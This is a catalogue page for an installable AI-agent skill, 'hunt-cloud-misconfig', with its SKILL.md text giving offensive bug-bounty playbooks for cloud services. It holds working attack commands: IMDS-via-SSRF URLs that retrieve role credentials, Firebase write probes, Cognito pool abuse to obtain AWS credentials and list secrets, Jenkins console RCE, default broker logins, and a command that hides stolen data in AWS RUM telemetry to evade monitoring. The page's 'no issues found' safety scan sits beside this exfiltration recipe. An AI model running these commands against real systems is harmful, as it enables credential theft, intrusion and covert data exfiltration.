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hunt-cloud-misconfig

Hunt cloud / infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF.

Install / Use

npx skills add elementalsouls/Claude-BugHunter --skill hunt-cloud-misconfig

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

96/100

Category

Automation

Supported Platforms

Universal

Our assessment of hunt-cloud-misconfig

hunt-cloud-misconfig scores 96/100 on our quality scale, 194th of 2,780 Automation skills we index (top 7%).

Its SKILL.md is 12 KB long, well organised into 27 sections with 9 code examples: a thorough specification that gives an agent plenty to work with.

With 5,198 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 26 days ago, so hunt-cloud-misconfig is actively maintained.
  • Our last check on 2026-11-15 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.

AI review by kimi-k2.7-code on 2026-09-28. Automated pattern scan on 2026-09-28. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

hunt-cloud-misconfig compared with similar skills

All 4 of these similar skills score higher than hunt-cloud-misconfig; compare them before choosing.

SkillScoreStarsUpdatedFormat
hunt-cloud-misconfig (this skill)by elementalsouls965.2k26d agoSKILL.md
Agent-Reachby Panniantong100112.3k9d agoCLAUDE.md
rufloby ruvnet10081.9ktodayCLAUDE.md
Claude-Code-Game-Studiosby Donchitos10039.7k7d agoCLAUDE.md
Scraplingby D4Vinci100103.6k2d agoMCP Server

Frequently asked questions

How do I install hunt-cloud-misconfig?
Run npx skills add elementalsouls/Claude-BugHunter --skill hunt-cloud-misconfig. The install tabs above show the steps for each supported agent.
Which AI agents does hunt-cloud-misconfig work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is hunt-cloud-misconfig safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is hunt-cloud-misconfig still maintained?
The repository was last updated 26 days ago, so hunt-cloud-misconfig is actively maintained.

name: hunt-cloud-misconfig description: "Hunt cloud / infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF. GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON. Azure: public blob containers, exposed Function App. (Kubernetes/Docker exposure is owned by hunt-k8s; CI/CD pipeline attacks by hunt-cicd; post-credential IAM escalation by cloud-iam-deep.) Detection: targeted dorking, certificate transparency, JS bundle secret extraction, port scan for known service ports. Validate: actual data read / write / RCE. Use when hunting cloud-native storage and compute misconfig (S3/GCS/Blob, IMDS-via-SSRF, serverless, public managed services)." sources: hackerone_public, public_research report_count: 6

16. CLOUD / INFRA MISCONFIGS

S3 / GCS / Azure Blob

# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json"   # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'  # write

EC2 Metadata (via SSRF)

http://169.254.169.254/latest/meta-data/iam/security-credentials/  # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME  # keys

Exposed Admin Panels

/jenkins  /grafana  /kibana  /elasticsearch  /swagger-ui.html
/phpMyAdmin  /.env  /config.json  /api-docs  /server-status

Jenkins SSO-restriction failure → Script Console RCE

An exposed Jenkins that authenticates ANY personal Google/OAuth account (missing org-domain restriction) is full compromise: log in, then /script (Groovy console) = RCE, and /credentials + /scriptText = stored API tokens and source disclosure. Disclosed: reports/231460.

Exposed message broker (RabbitMQ / AMQP) with default creds

Probe RabbitMQ management (http://TARGET:15672/, API :15672/api/overview) and AMQP :5672; try default guest:guest (works off-localhost when loopback_users is misconfigured) → queue/message read, vhost enumeration, management-plugin admin. Disclosed: reports/753602.

Local-verification toolchain

For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:

# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0

# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1

Without those env vars, aws s3 cp/sync fails with InvalidRequest. Document this for the team. See docs/verification/phase2j-cloud-localstack.md for the full reproducible flow.


CloudWatch RUM Weaponization (2024-2026 surface)

AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to dataplane.rum.<region>.amazonaws.com. The snippet's AppMonitor config contains an identityPoolId (Cognito) and guestRoleArn (IAM role) — both public by design. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (rum:PutRumEvents on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in cloud-iam-deep → Cognito Identity Pool chain.

Detection — JS bundle fingerprints

Snippet-style (most common, embedded in <head>):

(function(n,i,v,r,s,c,x,z){...})(
  'cwr',
  '00000000-0000-0000-0000-000000000000',                       // applicationId (UUID)
  '1.0.0',
  'us-east-1',
  'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
  {
    sessionSampleRate: 1,
    guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
    identityPoolId: "us-east-1:abcd1234-...",
    endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
    telemetries: ["errors","performance","http"]
  }
);

NPM-style (aws-rum-web package):

import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);

Regex set for recon

# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .

# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .

# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .

# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .

# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .

Attack chains

Chain A — Credential extraction (Critical when guestRole is over-permissioned). Once identityPoolId is extracted from the page, anyone runs:

aws cognito-identity get-id \
  --identity-pool-id "us-east-1:abcd1234-..." \
  --region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
  --identity-id "us-east-1:<returned-uuid>" \
  --region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity        # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py

Full chain documented in cloud-iam-deep → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.

Chain B — Telemetry endpoint covert exfil. dataplane.rum.<region>.amazonaws.com is an AWS-owned domain on every enterprise allowlist. The PutRumEvents payload accepts arbitrary userDetails and customEvents string fields:

aws rum put-rum-events \
  --id $(uuidgen) \
  --app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
  --user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
  --rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
  --endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
  --region us-east-1

Defenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.

Chain C — DOM injection via snippet source poisoning. Many customers either self-host cwr.js on their own CDN (assets.target.com/cwr.js) or bundle aws-rum-web and serve from static.target.com/main.<hash>.js. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against aws-rum-webb) gives persistent JS execution on every page-load with the trust of the aws-rum-web SDK — including its already-granted Cognito permissions.

Chain D — Telemetry injection / dashboard poisoning. With the public identityPoolId + applicationId, an external attacker can flood PutRumEvents with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).

Severity rubric

| Finding | Severity | Justification | |---|---|---| | guestRoleArn with *:* or wildcards on multiple services | Critical (9.1+) | Anonymous full AWS access | | guestRoleArn with s3:*, dynamodb:*, secretsmanager:*, lambda:Invoke* on production resources | High (7.5-8.8) | Data exfil / RCE depending on resource | | guestRoleArn with cognito-identity:* or iam:PassRole | High (8.0) | Privilege escalation primitive | | guestRoleArn with only rum:PutRumEvents + endpoint-scoped resource | Informational | Documented, intended config | | RUM userDetails logging PII into events viewable in CloudWatch console | Medium (5.3-6.5) | Sensitive data exposure via dashboard sharing | | RUM AppMonitor accepts PutRumEvents from arbitrary internet sources (telemetry injection) | Low-Medium (4.3) | Dashboard poisoning, alert evasion, billing DoS | | Self-hosted cwr.js on takeoverable subdomain | Critical (9.8) when chained | Persistent stored XSS across every customer page |

Disclosed cases / authoritative writeups

No CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is "Cognito identity pool over-permission via embedded SDK" — RUM is one common embedding.

  • Andres Riancho — "Misconfigured Cognito Identity Pools" (2020/2023) — establishes the attack class. andresriancho.com
  • Rhino Security Labs — Pacu cognito__enum_identity_pools — production tooling that automates Chain A. github.com/RhinoSecurityLabs/pacu
  • NotSoSecure / Claranet — "Exploiting weak configurations in Amazon Cognito" (Nov 2023) — explicitly calls out RUM as one of three SDKs commonly leaking the pool ID. notsosecure.com
  • HackTricks Cloud — aws-cognito-unauthenticated-enum — canonical playbook. cloud.hacktricks.wiki
  • Datadog Security Labs — "Following AWS Logs Backwards: Cognito Identity Pool Abuse" (2024) — telemetry showing real-world abuse rates. securitylabs.datadoghq.com
  • aws-observability/aws-rum-web GitHub issues #213, #404 — community discussion of the bundled-snippet security model. github.com/aws-observability/aws-rum-web

Validation checklist (before reporting)

  1. Extract identityPoolId from page source.
  2. Confirm pool allows unauth identities (get-id succeeds without auth).
  3. Confirm get-credentials-for-identity returns STS creds.
  4. Run aws sts get-caller-identity and screenshot the role ARN.
  5. Run enumerate-iam / Pacu iam__enum_permissions — capture at least one allowed action beyond rum:PutRumEvents. Without this, the finding is Informational.
  6. Demonstrate at least one read/list against a real resource (S3 bucket list, DynamoDB scan, Lambda invoke).
  7. Do not modify/delete data even if permitted — read-only PoC only.

Related Skills & Chains

  • hunt-subdomain — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public/deleted) + hunt-subdomain → unclaimed CNAME points to bucket → assets.target.com takeover.
  • cloud-iam-deep — A leaked SA JSON / AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in .env → cloud-iam-deep enumeration → cross-service iam:PassRole escalation.
  • hunt-ssrf — Metadata service is reachable only from insid

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars5.2k
CategoryAutomation
Updated26d ago
Forks796

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions